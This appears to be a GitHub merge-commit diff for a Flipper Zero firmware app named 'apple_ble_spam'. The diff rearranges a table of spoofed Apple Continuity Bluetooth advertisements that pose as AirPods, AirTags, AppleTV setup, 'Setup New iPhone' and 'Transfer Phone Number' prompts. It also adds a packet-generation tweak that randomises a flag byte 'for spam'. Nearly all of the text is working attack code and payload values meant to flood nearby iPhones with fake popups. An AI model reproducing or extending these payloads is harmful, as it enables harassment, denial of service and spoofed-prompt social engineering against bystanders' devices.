Merge branch 'Flipper-XFW:dev' into dev

UjhhgtgTeams · Sep 6, 2023 · d7c4dde · d7c4dde
2 parents 526f830 + 23e08ba
commit d7c4dde
Show file tree

Hide file tree

Showing 2 changed files with 99 additions and 97 deletions.
diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c
@@ -53,14 +53,6 @@ static Payload payloads[] = {
                      .data = {.tethering_source = {}},
                  }},
 #endif
-    {.title = "Random Pair",
-     .text = "Spam shuffle Proximity Pairs",
-     .random = true,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
-         }},
     {.title = "Random Action",
      .text = "Spam shuffle Nearby Actions",
      .random = true,
@@ -69,61 +61,53 @@ static Payload payloads[] = {
              .type = ContinuityTypeNearbyAction,
              .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
          }},
-    {.title = "AirPods Pro",
-     .text = "Modal, spammy (auto close)",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
-         }},
-    {.title = "Beats Solo 3",
-     .text = "Modal, spammy (stays open)",
+    {.title = "Dismiss Active Actions",
+     .text = "Close current Nearby Actions",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0x00, .type = 0x00}},
          }},
-    {.title = "AirPods Max",
-     .text = "Modal, laggy (stays open)",
+    {.title = "AppleTV AutoFill",
+     .text = "Banner, unlocked, long range",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
          }},
-    {.title = "Beats Flex",
-     .text = "Modal, laggy (stays open)",
+    {.title = "AppleTV Connecting...",
+     .text = "Modal, unlocked, long range",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
          }},
-    {.title = "Airtag",
-     .text = "Modal, unlocked",
+    {.title = "Join This AppleTV?",
+     .text = "Modal, unlocked, spammy",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
          }},
-    {.title = "Hermes Airtag",
-     .text = "",
+    {.title = "AppleTV Audio Sync",
+     .text = "Banner, locked, long range",
      .random = false,
      .msg =
          {
-             .type = ContinuityTypeProximityPair,
-             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
+             .type = ContinuityTypeNearbyAction,
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
          }},
-    {.title = "Dismiss Active Actions",
-     .text = "Close current Nearby Actions",
+    {.title = "AppleTV Color Balance",
+     .text = "Banner, locked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0x00, .type = 0x00}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
          }},
     {.title = "Setup New iPhone",
      .text = "Modal, locked",
@@ -141,53 +125,109 @@ static Payload payloads[] = {
              .type = ContinuityTypeNearbyAction,
              .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
          }},
-    {.title = "AppleTV AutoFill",
-     .text = "Banner, unlocked, long range",
+    {.title = "Transfer Phone Number",
+     .text = "Modal, locked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
          }},
-    {.title = "AppleTV Connecting...",
-     .text = "Modal, unlocked, long range",
+    {.title = "HomePod Setup",
+     .text = "Modal, unlocked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
          }},
-    {.title = "AppleTV Audio Sync",
-     .text = "Banner, locked, long range",
+    {.title = "Random Pair",
+     .text = "Spam shuffle Proximity Pairs",
+     .random = true,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
+         }},
+    {.title = "AirPods Pro",
+     .text = "Modal, spammy (auto close)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
+         }},
+    {.title = "Beats Solo 3",
+     .text = "Modal, spammy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
+         }},
+    {.title = "AirPods Max",
+     .text = "Modal, laggy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
+         }},
+    {.title = "Beats Flex",
+     .text = "Modal, laggy (stays open)",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
+         }},
+    {.title = "Airtag",
+     .text = "Modal, unlocked",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
+         }},
+    {.title = "Hermes Airtag",
+     .text = "",
+     .random = false,
+     .msg =
+         {
+             .type = ContinuityTypeProximityPair,
+             .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
+         }},
+    {.title = "Setup New AppleTV",
+     .text = "Modal, unlocked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
          }},
-    {.title = "AppleTV Color Balance",
-     .text = "Banner, locked",
+    {.title = "Pair AppleTV",
+     .text = "Modal, unlocked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
          }},
-    {.title = "Transfer Phone Number",
-     .text = "Modal, locked",
+    {.title = "HomeKit AppleTV Setup",
+     .text = "Modal, unlocked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
          }},
-    {.title = "HomePod Setup",
+    {.title = "AppleID for AppleTV?",
      .text = "Modal, unlocked",
      .random = false,
      .msg =
          {
              .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
+             .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
          }},
     {.title = "AirPods",
      .text = "Modal, spammy (auto close)",
@@ -293,46 +333,6 @@ static Payload payloads[] = {
              .type = ContinuityTypeProximityPair,
              .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
          }},
-    {.title = "Setup New AppleTV",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
-         }},
-    {.title = "Pair AppleTV",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
-         }},
-    {.title = "HomeKit AppleTV Setup",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
-         }},
-    {.title = "Join This AppleTV?",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x20}},
-         }},
-    {.title = "AppleID for AppleTV?",
-     .text = "Modal, unlocked",
-     .random = false,
-     .msg =
-         {
-             .type = ContinuityTypeNearbyAction,
-             .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
-         }},
 };
 
 struct {

diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c
@@ -129,7 +129,9 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         break;
 
     case ContinuityTypeNearbyAction:
-        packet[i++] = msg->data.nearby_action.flags; // Action Flags
+        packet[i] = msg->data.nearby_action.flags; // Action Flags
+        if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
+        i++;
         packet[i++] = msg->data.nearby_action.type;
         packet[i++] = (rand() % 256); // Authentication Tag
         packet[i++] = (rand() % 256); // ...